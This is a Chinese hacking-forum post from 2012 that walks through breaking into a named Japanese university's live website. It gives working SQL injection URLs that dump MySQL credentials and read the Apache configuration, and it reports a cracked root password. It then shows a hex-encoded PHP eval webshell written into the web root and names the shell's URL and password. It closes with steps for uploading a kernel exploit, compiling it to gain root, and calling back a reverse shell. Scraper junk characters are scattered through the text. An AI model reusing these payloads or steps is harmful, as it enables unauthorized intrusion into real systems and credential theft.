中国网络渗透测试联盟

标题: 入侵日本同志社大学 [打印本页]

作者: admin    时间: 2012-11-21 13:48
标题: 入侵日本同志社大学
入侵日本同志社大学技术分析
. E% t, `; A- {5 W" E- ?- j5 V* {
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
2 \# o0 ?# z+ r$ X然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:% r; z- D. M, h0 {3 R1 p( t

. H; Q, L6 e  chttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
4 i5 b$ }4 K3 R
8 h, s$ H& V1 s  r' D% y2 y) s% r
1 G! M) w5 O. e2 p4 ]/ r) L9 h- I( c4 t
//@@datadir为数据库文件路径
: q, ]9 V5 s* ^9 X! M3 @- z8 b 0 B+ p6 I9 x5 D* `, M1 ?( C- s! J
# z! z4 g+ D# r1 Q0 |$ s  S
//load_file读取网站容器apache的配置文件 : f$ `0 ^' x' p1 O
3 U5 o( ^' V9 x0 s8 X& w

8 }5 Q: T+ n5 }! J6 g$ X//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 " I# Q( H" A: s. U- q8 O0 k7 z
复制代码) h( ]1 [8 [! L

3 a1 x. n- P: O6 Y/ e) S! t+ M虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
2 j. ]! K1 G+ g" M$ Q9 U8 k0 |! o/ _0 N: ]# w
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
, M( A$ |" Z7 a( r: c(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
: \" a6 ^* ?8 ~5 R# i/ s$ u
8 k* m; s' c( n0 W- ^/ [2 G前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。6 c/ ?5 L, d% R
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
' t0 y& p: M/ e/ W0 g: G
6 k5 U# f' q& y4 t既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/7 p: A+ C. M. l. u: q
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
; \6 x! G& M2 {$ A" O; K! n直接写一句话:
8 P4 N5 ?+ f. L
4 f4 q1 V% Y' s% R. c% {http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#& d8 v: p! N- _5 @' Q+ m" t
& }; g: t  }0 l- e
% U$ z: X9 \  c- r2 ^$ X0 \

! K/ X0 M8 r$ y/ S//最后的#是为了闭合前面的语句
6 }' L/ r/ y- w2 i7 G2 S" K$ P4 F/ K   i8 I4 e) [& s4 z6 G
+ ~$ g0 z2 @9 Z$ d" y
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 1 Y7 A0 N0 r: k. y$ g

' F/ J6 z7 a# ^. s. |. {0 \3 _+ i3 ~
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
. |. S. E; Y- r4 z1 Z3 E2 `
* {. L5 F8 j1 `3 [; F2 @4 x6 d. T( V) m9 F1 G
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句   S" N3 y  M' b+ B
% }% z# l2 j$ ]3 W% Q

- l! ^3 s1 z  |- _//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
& \, m" {9 H6 J! Z) S8 x( ~//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
- q# |8 V& Q$ {" \" a7 g8 z复制代码/ o- O8 S& |4 f$ q5 y4 ]# e1 U
# B6 f7 \9 r$ D3 J  c; p
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有& ~" j. l" e. b( q4 Q
通过上述注入语句,我们就得到了一句话木马:  k. [  l5 o, d+ A& r! P: l$ o+ L1 U
& M1 g) P4 t* I: x' H9 e, V: n

, M# B: ^( T! {5 M4 U8 F% `9 Y8 n4 G  |) {
6 N5 i: G+ }3 F3 m4 ~8 h
1 Q! G: C: F! v5 G. c/ W' m
http://www.doshisha.ac.jp/english/engnews_img/aa.php + B" w8 W. g) _- s/ a
复制代码0 K* Z9 S6 h9 @/ ~  W: H! i, \

9 y& K/ m' ^* `/ U) ]. j用菜刀连接,密码是cmd,如图所示:
1 T' Y, v" r4 M; G然后在命令提示行里看了一下,现在的权限是:! W; k% m& D: B/ m
& T- W* L  D- @
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
' g& L; U( e3 p! j5 s好在赋权给这个文件夹不需要root,直接执行赋权语句:# m1 N- |% r3 |: ]# N

7 w  G3 t+ n/ ~9 _8 k; e# m
: ]1 p) @6 |7 R' q1 H) `  @9 N5 ~! T" l, W  X/ [
4 s9 Z) e9 i! b/ p! i+ V' A
! E# c- H! D: q. u$ A
chmod +x /tmp/
; s$ A# F/ v) Z复制代码- H/ _1 l# X. j" E& N

  H% t0 m2 b0 ], [在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
) p% i$ s- Y# S# T+ `1 j然后就查了一下内核版本:
: S# F0 ^/ z9 r  w
( m' L  T  T! `: {  k6 h4 a
! ?; a) z! N" R! W
" o0 |# D4 E+ b' |. v( I6 y: N$ n 0 p5 m$ S2 H; H+ x- `. Q/ a
. T6 C  O) y7 y; ?
uname-a " ]5 X4 B% B4 d: R
7 G% b7 J) u/ s7 }+ @
' @/ j! [6 h8 _. y: o
//其实lsb_release -a
9 Y8 R  r4 K0 V: R; V7 a2 z0 c复制代码
& j- h' }6 X& N8 u! f6 _3 f+ e  o9 u- }$ O/ ~" B
如图所示:7 I1 Y4 A  n% |/ k  O- k3 Z) K; Z

) U5 g/ C. L6 X$ L& ^. e内核版本:linux mainz1 2.6.28-194.e15. V4 c- h) n9 _7 Q7 ~' @1 B1 t! M
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
6 x. H6 D! O/ ~6 G4 x查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹1 g* C1 U) T! R( O
1 ^9 F. @) I5 T; [8 J: V
然后给予执行权限
2 U$ X1 {+ S8 e. ?8 [% B一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样) q1 |5 _' C- `

" g" Q/ \  B- v8 T1 c, K 3 A/ f& `- O: D8 Y5 b! ^

+ b/ |1 C3 K! Z& {( q, u ) ]; j$ ?% {, s" J% f0 U

% ?+ }. C- E+ a. {3 tchmod +x /tmp/2.6.18-194 2 W% A1 |" R% S5 Q, J/ K% |+ K
复制代码 然后直接执行!~
1 z# E6 I: {1 E* h
* ~7 d* @$ _/ D( m9 Z7 i+ a总结:7 o6 h& j8 @. D) g
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
) t( _& A5 }5 j' u, b提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
8 q# l8 c" P- W" J; F! o5 S$ I
$ v# ]# t/ ^8 o  a# k% f2 g) t2 ~$ e




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2